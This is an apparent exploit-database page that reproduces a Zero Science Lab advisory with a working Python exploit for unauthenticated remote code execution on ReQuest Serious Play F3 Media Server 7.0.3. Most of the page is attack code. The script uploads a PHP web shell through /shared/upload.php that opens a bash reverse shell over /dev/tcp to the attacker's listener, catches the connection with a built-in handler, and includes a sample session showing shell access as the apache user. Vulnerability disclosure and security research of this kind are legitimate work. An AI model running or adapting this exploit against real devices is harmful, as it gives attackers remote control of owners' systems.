ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution

2020.10.19
mk LiquidWorm (MK) mk
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # # ReQuest Serious Play F3 Media Server 7.0.3 Unauthenticated Remote Code Execution # # # Vendor: ReQuest Serious Play LLC # Product web page: http://www.request.com # Affected version: 7.0.3.4968 (Pro) # 7.0.2.4954 # 6.5.2.4954 # 6.4.2.4681 # 6.3.2.4203 # 2.0.1.823 # # Summary: F3 packs all the power of ReQuest's multi-zone serious Play servers # into a compact powerhouse. With the ability to add unlimited NAS devices, the # F3 can handle your entire family's media collection with ease. # # Desc: The ReQuest ARQ F3 web server suffers from an unauthenticated remote # code execution vulnerability. Abusing the hidden ReQuest Internal Utilities # page (/tools) from the services provided, an attacker can exploit the Quick # File Uploader (/tools/upload.html) page and upload PHP executable files that # results in remote code execution as the web server user. # # ============================================================================= # lqwrm@metalgear:~/prive$ python3 ReQuest.py 192.168.1.17:3664 192.168.1.22 6161 # Let's see waddup... # Good to go. # Starting handler on port 6161. # Writing callback file... # We got the dir: /75302IV29ZS1 # Checking write status... # All is well John Spartan. Calling your listener... # Connection from 192.168.0.17:42057 # You got shell. # id;uname -ro # uid=81(apache) gid=81(apache) groups=81(apache),666(arq) # 3.2.0-4-686-pae GNU/Linux # exit # *** Connection closed by remote host *** # lqwrm@metalgear:~/prive$ # ============================================================================= # # Tested on: ReQuest Serious Play® OS v7.0.1 # ReQuest Serious Play® OS v6.0.0 # Debian GNU/Linux 5.0 # Linux 3.2.0-4-686-pae # Linux 2.6.36-request+lenny.5 # Apache/2.2.22 # Apache/2.2.9 # PHP/5.4.45 # PHP/5.2.6-1 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # Macedonian Information Security Research and Development Laboratory # Zero Science Lab - https://www.zeroscience.mk - @zeroscience # # # Advisory ID: ZSL-2020-5602 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5602.php # # # 01.08.2020 # from time import sleep import threading###### import telnetlib###### import requests####### import socket######### import sys############ import re############# class Manhattan: def __init__(self): self.secretagent = "Mushu" self.payload = None self.deploy = None self.rhost = None self.lhost = None self.lport = None def the_args(self): if len(sys.argv) != 4: self.the_usage() else: self.rhost = sys.argv[1] self.lhost = sys.argv[2] self.lport = int(sys.argv[3]) if not "http" in self.rhost: self.rhost = "http://{}".format(self.rhost) def the_usage(self): self.the_wha() print("Usage: python3 {} [targetIP:targetPORT] [localIP] [localPORT]".format(sys.argv[0])) print("Example: python3 {} 192.168.0.91:3664 192.168.0.22 6161\n".format(sys.argv[0])) exit(0) def the_wha(self): titl = "ReQuest Serious Play F3 Media Server RCE" print(titl) def the_check(self): print("Let's see waddup...") try: r = requests.get(self.rhost + "/MP3/") if "000000000000" in r.text: print("Good to go.") else: print("Something's fishy.") exit(-16) except Exception as e: print("Hmmm {msg}".format(msg=e)) exit(-1) def the_upload(self): print("Writing callback file...") self.headers = {"Cache-Control" : "max-age=0", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarylGyylNPXG5WMGCqP", "User-Agent": self.secretagent, "Accept" : "*/*", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/" + self.lhost+ "/" +str(self.lport) + " <&1;rm bd0.php'\");" self.deploy = "------WebKitFormBoundarylGyylNPXG5WMGCqP\r\n"######## self.deploy += "Content-Disposition: form-data; name=\"uploa" # self.deploy += "dedfile\"; filename=\"bd0.php\"\r\nContent-T" # self.deploy += "ype: application/octet-stream\r\n\r\n" + self.payload self.deploy += "\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP\r\nConte" self.deploy += "nt-Disposition: form-data; name=\"location\"\r\n\r\nm" self.deploy += "p3\r\n------WebKitFormBoundarylGyylNPXG5WMGCqP--\r\n" requests.post(self.rhost+"/shared/upload.php", headers=self.headers, data=self.deploy) sleep(1) r = requests.get(self.rhost + "/MP3/") regex = re.findall(r'a\shref=\"(.*)\/\">', r.text)[2] print("We got the dir: /" + regex) print("Checking write status...") r = requests.get(self.rhost + "/MP3/" + regex) if "bd0" in r.text: print("All is well John Spartan. Calling your listener...") else: print("Something...isn't right.") exit(-16) requests.get(self.rhost + "/MP3/"+ regex + "/bd0.php") def the_subp(self): konac = threading.Thread(name="ZSL", target=self.the_ear) konac.start() sleep(1) self.the_upload() def the_ear(self): telnetus = telnetlib.Telnet() print("Starting handler on port {}.".format(self.lport)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", self.lport)) while True: try: s.settimeout(7) s.listen(1) conn, addr = s.accept() print("Connection from {}:{}".format(addr[0], addr[1])) telnetus.sock = conn except socket.timeout as p: print("Hmmm ({msg})".format(msg=p)) s.close() exit(0) break print("You got shell.") telnetus.interact() conn.close() def main(self): self.the_args() self.the_check() self.the_subp() if __name__ == '__main__': Manhattan().main()


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